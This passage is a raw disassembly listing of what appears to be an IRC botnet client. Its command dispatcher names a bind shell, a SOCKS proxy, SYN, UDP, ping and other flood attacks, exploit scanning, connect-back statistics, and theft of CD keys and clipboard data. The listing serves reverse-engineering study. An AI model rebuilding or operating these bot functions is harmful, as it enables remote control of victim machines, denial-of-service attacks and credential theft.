		jz	short loc_4023BD
		push	[ebp+arg_20]
		call	sub_417D40
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4023F1
		push	dword ptr [edi-4]
		push	[ebp+var_C]
		call	sub_418660
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4023F1
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_415512
		add	esp, 0Ch
		jmp	short loc_4023F1
; ---------------------------------------------------------------------------


loc_4023B9:				; CODE XREF: sub_401AA1+8DEj
		cmp	[edi], ebx
		jnz	short loc_4023F1


loc_4023BD:				; CODE XREF: sub_401AA1+8E2j
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_418350
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_415512
		add	esp, 18h


loc_4023F1:				; CODE XREF: sub_401AA1+8F0j
					; sub_401AA1+901j ...
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	loc_402357
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_8], 10h
		mov	edi, eax


loc_40240D:				; CODE XREF: sub_401AA1+9B8j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_418660
		add	esp, 14h
		test	eax, eax
		jz	short loc_402450
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402450
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_415512
		add	esp, 0Ch


loc_402450:				; CODE XREF: sub_401AA1+994j
					; sub_401AA1+99Aj
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_40240D
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_2C4], 1


loc_402468:				; CODE XREF: sub_401AA1+6F3j
					; sub_401AA1+728j
		mov	al, [edi]
		cmp	al, byte_426098
		jz	short loc_40247E
		cmp	[ebp+var_2C4], ebx
		jz	loc_40266A


loc_40247E:				; CODE XREF: sub_401AA1+9CFj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_415512
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_415512
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_415512
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40A0C6
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_415512
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_0 ; "$server"
		push	edi
		call	sub_415512
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_418660
		add	esp, 14h
		jmp	loc_4025E5
; ---------------------------------------------------------------------------


loc_4024F5:				; CODE XREF: sub_401AA1+B46j
		push	edi
		push	[ebp+arg_0]
		call	sub_418660
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_418350
		lea	eax, [ebp+var_A0]
		push	offset asc_42FE08 ; ")"
		push	eax
		call	sub_418E54
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402539
		cmp	[ebp+var_A0], 39h
		jle	short loc_40254F


loc_402539:				; CODE XREF: sub_401AA1+A8Dj
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_418350
		add	esp, 0Ch


loc_40254F:				; CODE XREF: sub_401AA1+A96j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4184D9
		test	eax, eax
		pop	ecx
		jle	short loc_402575
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4184D9
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402589
; ---------------------------------------------------------------------------


loc_402575:				; CODE XREF: sub_401AA1+ABDj
		call	sub_418642
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_402589:				; CODE XREF: sub_401AA1+AD2j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_417D40
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_4182F0
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_418350
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_415512
		push	edi
		push	[ebp+arg_0]
		call	sub_418660
		add	esp, 30h


loc_4025E5:				; CODE XREF: sub_401AA1+A4Fj
		test	eax, eax
		jnz	loc_4024F5
		mov	edi, 1FFh
		lea	eax, [ebp+var_39E8]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_418350
		lea	eax, [ebp+var_39E8]
		push	edi
		push	eax
		lea	eax, [ebp+var_3E4C]
		push	eax
		call	sub_418350
		mov	edi, offset asc_42FF7C ; " "
		lea	eax, [ebp+var_3E4C]
		push	edi
		push	eax
		call	sub_418E54
		add	esp, 20h
		mov	[ebp+var_90], eax
		mov	[ebp+arg_20], 1


loc_402638:				; CODE XREF: sub_401AA1+BB1j
		push	edi
		push	ebx
		call	sub_418E54
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_20]
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 20h
		mov	[ebp+ecx*4+var_90], eax
		jl	short loc_402638
		lea	eax, [ebp+esi+var_90]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_401F20
		add	ecx, 3
		mov	[eax], ecx


loc_40266A:				; CODE XREF: sub_401AA1+9D7j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408961
		push	edi
		push	offset aRn	; "rn"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408961
		push	edi
		push	offset aDie	; "die"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40444A
		push	edi
		push	offset aD	; "d"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40444A
		push	edi
		push	offset aLogout	; "logout"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404385
		push	edi
		push	offset aLo	; "lo"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404385
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437B
		push	edi
		push	offset aDed	; "ded"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404362
		push	edi
		push	offset aSt	; "st"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404362
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40425D
		push	edi
		push	offset aBd	; "bd"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40425D
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402799
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_42FD94
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402799:				; CODE XREF: sub_401AA1+CDEj
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40413C
		push	edi
		push	offset aS4	; "s4"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40413C
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4027EC
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer	; "Server"
		push	offset dword_42FD6C
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_4027EC:				; CODE XREF: sub_401AA1+D31j
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402815
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer	; "Server"
		push	offset dword_42FD50
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402815:				; CODE XREF: sub_401AA1+D5Aj
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40283E
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_42FD34
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_40283E:				; CODE XREF: sub_401AA1+D83j
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402867
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42FD20
		push	offset dword_42FD14
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402867:				; CODE XREF: sub_401AA1+DACj
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402890
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42FCF4
		push	offset dword_42FCE4
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402890:				; CODE XREF: sub_401AA1+DD5j
		push	edi
		push	offset dword_42FCD8
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028B9
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42FCCC
		push	offset dword_42FCC0
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_4028B9:				; CODE XREF: sub_401AA1+DFEj
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028E2
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42FCAC
		push	offset dword_42FCA0
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_4028E2:				; CODE XREF: sub_401AA1+E27j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40290B
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42FC84
		push	offset dword_42FC74
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_40290B:				; CODE XREF: sub_401AA1+E50j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402934
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42FC58
		push	offset dword_42FC48
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402934:				; CODE XREF: sub_401AA1+E79j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40295D
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42FC30
		push	offset dword_42FC24
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_40295D:				; CODE XREF: sub_401AA1+EA2j
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402A98
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+var_88]
		push	esi
		push	0Dh
		push	offset dword_42FCCC
		push	offset dword_42FCC0
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A3B8
		push	esi
		push	0Eh
		push	offset dword_42FCAC
		push	offset dword_42FCA0
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A3B8
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42FC0C
		push	offset dword_42FC00
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A3B8
		push	esi
		push	16h
		push	offset dword_42FBF4
		push	offset dword_42FBE8
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A3B8
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42FC58
		push	offset dword_42FC48
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A3B8
		push	esi
		push	12h
		push	offset dword_42FC30
		push	offset dword_42FC24
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A3B8
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42FBD8
		push	offset dword_42FBC8
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A3B8
		push	esi
		push	13h
		push	offset dword_42FBB8
		push	offset dword_42FBA8
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A3B8
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42FC84
		push	offset dword_42FC74
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A3B8
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42FB74
		push	edi
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 34h
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_402A98:				; CODE XREF: sub_401AA1+ECBj
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402AC1
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42FBD8
		push	offset dword_42FBC8
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402AC1:				; CODE XREF: sub_401AA1+1006j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402AEA
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42FBB8
		push	offset dword_42FBA8
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402AEA:				; CODE XREF: sub_401AA1+102Fj
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B13
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42FC0C
		push	offset dword_42FC00
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402B13:				; CODE XREF: sub_401AA1+1058j
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B3C
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42FBF4
		push	offset dword_42FBE8
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402B3C:				; CODE XREF: sub_401AA1+1081j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B65
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer	; "Server"
		push	offset dword_42FB2C
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402B65:				; CODE XREF: sub_401AA1+10AAj
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40410D
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40410D
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB8
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42FAF4
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402BB8:				; CODE XREF: sub_401AA1+10FDj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE1
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure	; "Secure"
		push	offset dword_42FAD0
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402BE1:				; CODE XREF: sub_401AA1+1126j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0A
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42FAB0
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_402C0A:				; CODE XREF: sub_401AA1+114Fj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040F7
		push	edi
		push	offset aStats	; "stats"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040F7
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040E1
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040E1
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040CB
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040CB
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B5
		push	edi
		push	offset aExplist	; "explist"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B5
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404096
		push	edi
		push	offset aR	; "r"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404096
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404074
		push	edi
		push	offset aDc	; "dc"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404074
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aQ	; "q"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aStatus	; "status"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FED
		push	edi
		push	offset aS_1	; "s"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FED
		push	edi
		push	offset aIdws	; "idws"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aIws	; "iws"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DD6
		call	sub_415950
		test	eax, eax
		mov	eax, offset unk_42F9F0
		jnz	short loc_402DA8
		mov	eax, offset unk_42F9C8


loc_402DA8:				; CODE XREF: sub_401AA1+1300j
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 1Ch
		jmp	loc_404442
; ---------------------------------------------------------------------------


loc_402DD6:				; CODE XREF: sub_401AA1+12F2j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EC9
		push	edi
		push	offset aT	; "t"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EC9
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EA6
		push	edi
		push	offset aAl	; "al"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EA6
		push	edi
		push	offset aLo0g	; "lo0g"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB7
		push	edi
		push	offset aL0g	; "l0g"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB7
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D9B
		push	edi
		push	offset aClg	; "clg"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D9B
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D61
		push	edi
		push	offset aNi	; "ni"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D61
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D36
		push	edi
		push	offset aSi	; "si"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D36
		push	edi
		push	offset aRrmm010kt ; "rrmm010kt"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403CFC
		push	edi
		push	offset aRrmm010kt ; "rrmm010kt"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403CFC
		push	edi
		push	offset aProcs	; "procs"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BDD
		push	edi
		push	offset aPs	; "ps"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BDD
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BB6
		push	edi
		push	offset aKey	; "key"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BB6
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B2F
		push	edi
		push	offset aUp	; "up"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B2F
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B12
		push	edi
		push	offset aDrv	; "drv"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B12
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AF9
		push	edi
		push	offset aDll	; "dll"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AF9
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A85
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A85
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403021
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42F910
		push	offset dword_42F904
		jmp	loc_404120
; ---------------------------------------------------------------------------


loc_403021:				; CODE XREF: sub_401AA1+1566j
		push	edi
		push	offset dword_42F900
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40313E
		cmp	[ebp+var_8], ebx
		jnz	short loc_403055
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42F8EC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h


loc_403055:				; CODE XREF: sub_401AA1+1598j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_403063
; ---------------------------------------------------------------------------


loc_403060:				; CODE XREF: sub_401AA1+160Ej
		mov	eax, [ebp+arg_18]


loc_403063:				; CODE XREF: sub_401AA1+15BDj
		cmp	[eax], bl
		jz	short loc_40306A
		inc	eax
		jmp	short loc_40306F
; ---------------------------------------------------------------------------


loc_40306A:				; CODE XREF: sub_401AA1+15C4j
		mov	eax, offset aEmpty ; "<Empty>"


loc_40306F:				; CODE XREF: sub_401AA1+15C7j
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403060
		push	offset unk_42F8B8
		call	sub_413F3A
		pop	ecx


loc_4030BC:				; CODE XREF: sub_401AA1+17F4j
					; sub_401AA1+29BDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F20
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40456A
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404470
		lea	eax, [ebp+var_2C0]
		push	offset unk_42F884
		push	eax
		mov	dword_4D1664, ebx
		call	sub_4185E6
		pop	ecx
		pop	ecx


loc_403114:				; CODE XREF: sub_401AA1+2A70j
					; sub_401AA1+2A96j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4089AE
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1


loc_403136:				; CODE XREF: sub_401AA1+6665j
					; sub_401AA1+66C9j
		add	esp, 14h
		jmp	loc_4089AE
; ---------------------------------------------------------------------------


loc_40313E:				; CODE XREF: sub_401AA1+158Fj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A44
		push	edi
		push	offset aGc	; "gc"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A44
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A19
		push	edi
		push	offset aFarp	; "farp"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A19
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4039E9
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4039E9
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4039AF
		push	edi
		push	offset aCip	; "cip"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4039AF
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403878
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403878
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4036EC
		push	edi
		push	offset aHttp	; "http"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4036EC
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4035BB
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4035BB
		push	edi
		push	offset aAll1	; "all1"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4032B7
		push	edi
		push	offset aAll1	; "all1"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4032B7
		push	edi
